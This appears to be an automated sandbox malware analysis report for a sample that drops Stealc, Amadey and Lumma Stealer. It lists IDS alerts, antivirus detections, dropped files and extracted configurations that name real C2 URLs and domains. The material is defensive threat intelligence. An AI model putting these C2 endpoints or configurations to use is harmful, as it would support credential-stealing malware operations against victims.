2024-12-09T20:29:19.172028+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	50003	104.21.64.1	443	TCP
2024-12-09T20:29:24.726132+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	50022	104.21.64.1	443	TCP
2024-12-09T20:29:29.079689+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	50043	104.21.64.1	443	TCP
2024-12-09T20:29:32.824938+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	50057	104.21.64.1	443	TCP
2024-12-09T20:29:36.764667+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	50070	104.21.64.1	443	TCP
2024-12-09T20:29:40.417240+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	50084	104.21.64.1	443	TCP
2024-12-09T20:29:41.881271+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.4	50094	104.21.64.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:29:22.390283+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	50010	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:26.813350+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49832	185.215.113.43	80	TCP
2024-12-09T20:28:35.174610+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49856	185.215.113.43	80	TCP
2024-12-09T20:28:42.307340+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49876	185.215.113.43	80	TCP
2024-12-09T20:28:52.277411+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49905	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:23.929286+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.4	65395	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:27:06.488951+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:27:06.336885+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:27:06.809268+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:27:08.415627+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:27:06.995118+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:29:06.515164+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49953	104.21.64.1	443	TCP
2024-12-09T20:29:37.505488+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50070	104.21.64.1	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:27:05.896340+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP
2024-12-09T20:28:36.955503+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49857	185.215.113.206	80	TCP
2024-12-09T20:28:54.425995+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49911	185.215.113.206	80	TCP
2024-12-09T20:29:27.413006+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50033	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:17.912750+0100	2856121	1	A Network Trojan was detected	192.168.2.4	49807	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:06.143658+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49786	185.215.113.43	80	TCP
2024-12-09T20:33:51.494133+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50265	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:16.560373+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49792	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:28:10.603451+0100	2803305	3	Unknown Traffic	192.168.2.4	49795	31.41.244.11	80	TCP
2024-12-09T20:28:19.368482+0100	2803305	3	Unknown Traffic	192.168.2.4	49813	185.215.113.16	80	TCP
2024-12-09T20:28:28.283589+0100	2803305	3	Unknown Traffic	192.168.2.4	49838	185.215.113.16	80	TCP
2024-12-09T20:28:36.659478+0100	2803305	3	Unknown Traffic	192.168.2.4	49858	185.215.113.16	80	TCP
2024-12-09T20:28:43.784299+0100	2803305	3	Unknown Traffic	192.168.2.4	49882	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:27:09.292319+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-12-09T20:27:29.718236+0100	2803304	3	Unknown Traffic	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:31.682220+0100	2803304	3	Unknown Traffic	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:33.028355+0100	2803304	3	Unknown Traffic	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:34.207879+0100	2803304	3	Unknown Traffic	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:37.754934+0100	2803304	3	Unknown Traffic	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:38.909148+0100	2803304	3	Unknown Traffic	192.168.2.4	49740	185.215.113.206	80	TCP
2024-12-09T20:27:44.625261+0100	2803304	3	Unknown Traffic	192.168.2.4	49766	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T20:29:41.318670+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50084	104.21.64.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/apitg	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/D	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apitat	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpr4	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen

Found malware configuration

Source: 00000009.00000002.2253656280.0000000000571000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000010.00000002.2678008367.000000000185E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 5a20612cd1.exe.3320.15.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "zinc-sneark.biz", "atten-supporse.biz", "formy-spill.biz", "dwell-exclaim.biz", "se-blurry.biz", "dare-curbys.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C566C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C566C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 173.222.162.32:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50240 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 5a20612cd1.exe, 00000011.00000003.3221168796.00000000081F0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 37MB later: 187MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49792
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.4:49807 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.4:65395 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49830 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49832 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49839 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49786 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49856 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49857 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49875 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49876 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49883 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49898 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49912 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49905 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49935 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49911 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49965 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49984 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49953 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:49997 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:50003 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:50022 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50033 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:50043 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:50057 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:50070 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:50084 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.4:50094 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50265 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49830 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49830 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49875 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49875 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49883 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49883 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49953 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50003 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50003 -> 104.21.64.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50070 -> 104.21.64.1:443
